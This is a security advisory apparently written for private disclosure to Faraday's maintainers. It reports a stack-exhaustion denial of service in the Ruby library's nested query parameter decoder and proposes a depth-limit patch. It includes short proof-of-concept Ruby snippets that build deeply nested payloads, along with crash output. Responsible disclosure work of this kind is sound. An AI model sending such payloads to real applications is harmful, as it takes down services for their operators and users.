Uncontrolled Recursion in NestedParamsEncoder Allows Stack Exhaustion DoS via Deeply Nested Query Parameters

Summary

Faraday::NestedParamsEncoder, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth.

A crafted query string such as:

a[x][x][x][x]...[x]=1

causes Faraday to build a deeply nested Ruby Hash structure. The internal dehash routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught SystemStackError (stack level too deep), crashing the calling thread or worker.

This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths.

Affected Product

• Product: Faraday
• Repository: https://github.com/lostisland/faraday
• Tested version: v2.14.2-2-g59334e0
• Tested commit: 59334e0e9b19
• Ruby version: ruby 3.2.3
• Tested component: Faraday::NestedParamsEncoder / Faraday::Utils.parse_nested_query
• Date tested: 2026-05-24

Vulnerability Type

• Denial of Service
• Uncontrolled Recursion
• Stack Exhaustion

Preconditions

An application must pass attacker-controlled or attacker-influenced query strings to one of Faraday's nested parameter parsing/building paths.

Confirmed reachable paths include:

1. Direct use of the public utility:

Faraday::Utils.parse_nested_query(untrusted_query_string)

2. Normal Faraday request URL building:

conn = Faraday.new('https://api.example.com')
conn.build_url("/search?#{untrusted_query_string}")

In the second case, the crash occurs during URL construction before any network request is sent.

Impact

A relatively small query string can trigger a SystemStackError and crash the calling Ruby thread or worker.

In my local test environment, a payload of approximately 9.4 KB was sufficient:

depth=3119
bytes=9360
result=SystemStackError
message="stack level too deep"

Repeated requests with such payloads may cause a denial of service against applications whose request path forwards, parses, or rebuilds attacker-controlled query strings through Faraday.

This issue does not provide remote code execution, authentication bypass, or data disclosure. The confirmed impact is availability loss.

Technical Details

Faraday supports nested query parameters such as:

user[name]=alice&user[roles][]=admin

which are decoded into nested Ruby structures.

However, Faraday also accepts arbitrarily deep nesting such as:

a[x][x][x][x][x][x]...[x]=1

This creates a deeply nested structure similar to:

{
  "a" => {
    "x" => {
      "x" => {
        "x" => {
          "x" => ...
        }
      }
    }
  }
}

The recursive dehash routine then walks the structure without a maximum depth check.

Affected file:

lib/faraday/encoders/nested_params_encoder.rb

Relevant logic:

def dehash(hash, depth)
  hash.each do |key, value|
    hash[key] = dehash(value, depth + 1) if value.is_a?(Hash)
  end
  # ...
end

Although the function accepts a depth argument, the value is not used to enforce a maximum depth. Therefore, recursion depth is fully controlled by the input query string.

Proof of Concept

PoC 1: Direct parser crash

require 'faraday'

payload = "a#{'[x]' * 3119}=1"
Faraday::Utils.parse_nested_query(payload)

Observed result:

SystemStackError: stack level too deep

PoC 2: Normal URL-building crash

require 'faraday'

conn = Faraday.new('https://api.example.com')
payload = "/search?a#{'[x]' * 3500}=1"
conn.build_url(payload)

Observed result:

SystemStackError

No network request is required; the crash occurs during URL construction.

Local Reproduction Results

The issue was reproduced locally against Faraday commit 59334e0e9b19.

Environment:

ruby 3.2.3
faraday v2.14.2-2-g59334e0
commit 59334e0e9b19

Full PoC result

== (A) DEEP nesting -> dehash recursion / stack exhaustion ==
  depth=100      parse=0.0003s  OK
  depth=1000     parse=0.0034s  OK
  depth=5000     *** SystemStackError (stack overflow DoS): SystemStackError
  depth=20000    *** SystemStackError (stack overflow DoS): SystemStackError
  depth=100000   *** SystemStackError (stack overflow DoS): SystemStackError

== (B) WIDE numeric keys -> dehash sort + numeric-key scan per level ==
  N=1000     parse=0.0093s
  N=10000    parse=0.1053s
  N=50000    parse=0.4992s
  N=100000   parse=1.1242s

== (C) MANY array pushes a[]&a[]&... ==
  N=1000     parse=0.0048s
  N=10000    parse=0.0614s
  N=50000    parse=0.2915s
  N=100000   parse=0.5403s

Minimal depth test

depth=100 bytes=303 result=OK
depth=1000 bytes=3003 result=OK
depth=2500 bytes=7503 result=OK
depth=3000 bytes=9003 result=OK
depth=3119 bytes=9360 result=SystemStackError message="stack level too deep"
depth=3500 bytes=10503 result=SystemStackError message="stack level too deep"
depth=5000 bytes=15003 result=SystemStackError message="stack level too deep"

URL-building test

build_url depth=100 bytes=311 result=OK
build_url depth=1000 bytes=3011 result=OK
build_url depth=3500 bytes=10511 result=SystemStackError
build_url depth=8000 bytes=24011 result=SystemStackError

These results confirm that both direct parsing and normal Faraday URL construction can trigger the stack exhaustion condition.

Expected Behavior

Faraday should reject excessively deep nested query parameters with a controlled and rescuable exception.

For example, behavior similar to Rack's parameter depth limit would prevent stack exhaustion:

Faraday::Error: Exceeded the maximum allowed nested parameter depth

Actual Behavior

Faraday recursively processes attacker-controlled nesting depth and eventually raises:

SystemStackError: stack level too deep

This exception indicates stack exhaustion and can crash the calling worker/thread.

Suggested Fix

Add a configurable maximum nesting depth to Faraday::NestedParamsEncoder, similar to Rack's param_depth_limit.

Suggested behavior:

• Set a default maximum depth, for example 100.
• Reject keys whose subkey chain exceeds the maximum depth.
• Raise a normal Faraday::Error or another controlled exception rather than allowing Ruby stack exhaustion.

Example patch concept:

module Faraday
  module NestedParamsEncoder
    class << self
      attr_accessor :sort_params, :array_indices, :param_depth_limit
    end

    @param_depth_limit = 100
  end
end

Then in decode_pair:

subkeys = key.scan(SUBKEYS_REGEX)
if param_depth_limit && subkeys.length > param_depth_limit
  raise Faraday::Error, "Exceeded the maximum allowed nested parameter depth of #{param_depth_limit}"
end

A local patch implementing this approach was tested. With the patch applied:

• The crash payloads raise a controlled Faraday::Error instead of SystemStackError.
• Normal nested query parsing still works.
• Existing encoder/utils tests passed in the local test set:

42 examples, 0 failures

Security Policy Fit

Faraday's SECURITY.md states that the 2.x branch is supported for security updates and that vulnerabilities should be reported privately.

This issue was reproduced on the current tested 2.x codebase:

v2.14.2-2-g59334e0
commit 59334e0e9b19

The report is intended for private disclosure through GitHub Security Advisories and should not be opened as a public issue before maintainer triage.

Related Public Discussions / Duplicate Check

I searched the public issue tracker, pull requests, changelog, and GitHub Advisory Database for similar reports using terms including:

NestedParamsEncoder
parse_nested_query
SystemStackError
stack level too deep
param_depth_limit
nested parameter depth
Uncontrolled recursion
CWE-674
dehash depth
parse_nested_query depth

I did not find a public report or fix for this specific NestedParamsEncoder depth-limit / SystemStackError denial-of-service issue.

The closest unrelated public items I found were:

• lostisland/faraday#1107 — Infinite recursion (SystemStackError) on load when running with -rdebug with breakpoints
  • This appears unrelated to nested query parameter parsing and Faraday::NestedParamsEncoder.
• GHSA-33mh-2634-fwr2 / CVE-2026-25765
  • This concerns a protocol-relative URL / host override issue and does not address nested query parameter recursion or depth limiting.

Repo-local checks also found no existing param_depth_limit or equivalent mitigation in lib/faraday/encoders/nested_params_encoder.rb.

Severity

Suggested severity: Medium

Rationale:

• The attack can be triggered over the network in applications that pass attacker-controlled query strings into Faraday's parsing/building paths.
• The payload is small enough to be practical, approximately 9.4 KB in the local reproduction.
• No authentication or user interaction is required in affected application patterns.
• The confirmed impact is availability only.

Because Faraday is a library, the exact severity depends on how an application exposes the affected parsing/building path to attacker-controlled input. If the maintainers prefer conservative scoring for library reachability, the availability impact could be adjusted accordingly.

Notes

This report does not claim remote code execution, authentication bypass, or information disclosure.

The confirmed issue is an uncontrolled-recursion denial of service condition caused by missing nesting-depth enforcement in Faraday's nested parameter decoder.

No third-party live services were tested. Reproduction was performed only in a local lab environment.

Reporter

Reported by: Emre Koca

Please let me know if you need additional reproduction details, logs, or a patch proposal.